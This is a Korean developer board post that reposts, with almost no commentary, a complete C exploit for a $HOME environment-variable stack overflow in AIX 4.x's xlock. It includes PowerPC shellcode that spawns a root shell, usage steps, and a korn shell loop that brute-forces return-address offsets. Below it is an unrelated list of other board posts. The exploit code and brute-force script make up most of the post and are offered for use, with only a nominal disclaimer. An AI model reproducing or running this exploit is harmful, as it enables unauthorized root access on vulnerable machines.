Develop
2003.04.23 09:43
[c] home env stack overflow
조회 수 11553 댓글 0
/*
*
* /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V
*
* CREDITS: this code is simply a modified version of an exploit
* posted by Georgi Guninski (guninski@hotmail.com)
*
* This will give a #rootshell# by overwriting a buffer
* via the $HOME environment variable in 'xlock'
* This exploit is designed for AIX 4.x on PPC platform.
*
*
* USAGE:
* $ cc -o foo -g aix_xlock.c
* $ ./foo 3200
* #
*
* HINT: Try giving ranges from 3100 through 3400
* (If these ranges don't work, then run the brute
* korn shell script provided after the exploit)
*
* DISCLAIMER: use this program in a responsible manner.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern int execv();
#define MAXBUF 600
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l)))
{
perror("error allocating");
exit(2);
};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}
main(int argc,char **argv,char **env)
{
unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
int min=200, max=300;
unsigned int return_address;
char *newenv[8];
char *args[4];
int offset=3200;
if (argc==2) offset = atoi(argv[1]);
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);
return_address=(unsigned)&buf[0]+offset;
for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
for(i=0;i<max-1;i++) frame[i]=return_address;
frame[i]=0;
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=createvar("HOME",(char*)&frame[0]);
args[0]="xlock";
execve("/usr/bin/X11/xlock",args,newenv);
perror("Error executing execve n");
}
/*
----------- Brute Korn Shell Script -----------
#!/bin/ksh
L=3000
O=10
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + $O`
./foo $L
done
----------- End Brute Shell Script ------------
*/
/* http://www.hack.co.za ; [2000]*/
번호 | 분류 | 제목 | 글쓴이 | 날짜 | 조회 수 |
---|---|---|---|---|---|
237 | System/OS | [mac] OS X 요세미티 사용자가 많이 겪는 버그와 몇몇 불편사항 | hooni | 2015.01.04 | 1684 |
236 | System/OS | [mac][추천 무료앱] 구름 입력기 - 국내 맥 사용자를 위한 한글 대안 입력기 1 | hooni | 2015.01.04 | 2310 |
235 | System/OS | 개인적으로 쓰고 있는 bash_profile | hooni | 2015.01.16 | 994 |
234 | Develop | [maven] Mac OS에 메이븐(maven) 설치하기 | hooni | 2015.01.21 | 1224 |
233 | Develop | [php] XE에서 도메인 별로 광고 다르게 적용하기 | hooni | 2015.01.28 | 708 |
232 | Develop | [php] XE 스킨에서 특정 도메인 리다이렉션 | hooni | 2015.01.28 | 682 |
231 | Develop | [js] 2048 예쁘게 만들고 있는거.. ㅋㄷ | hooni | 2015.01.30 | 0 |
230 | Develop | [ios] URL 랜딩 속도(OpenURL 10초 정지되는) 이슈 | hooni | 2015.02.09 | 924 |
229 | Develop | [ios] 문자열로 함수 실행하기 (eval 함수처럼) | hooni | 2015.02.10 | 932 |
228 | Develop | [ios] 앱의 로컬 js 파일에서 해당 프로젝트의 이미지 불러오기 | hooni | 2015.02.10 | 732 |
227 | Develop | [ios] 로컬에 있는 html 실행하기 | hooni | 2015.02.10 | 1144 |
226 | Develop | [ios] 로컬에 있는 JS 파일 웹뷰에서 동적으로 실행하기 | hooni | 2015.02.10 | 1078 |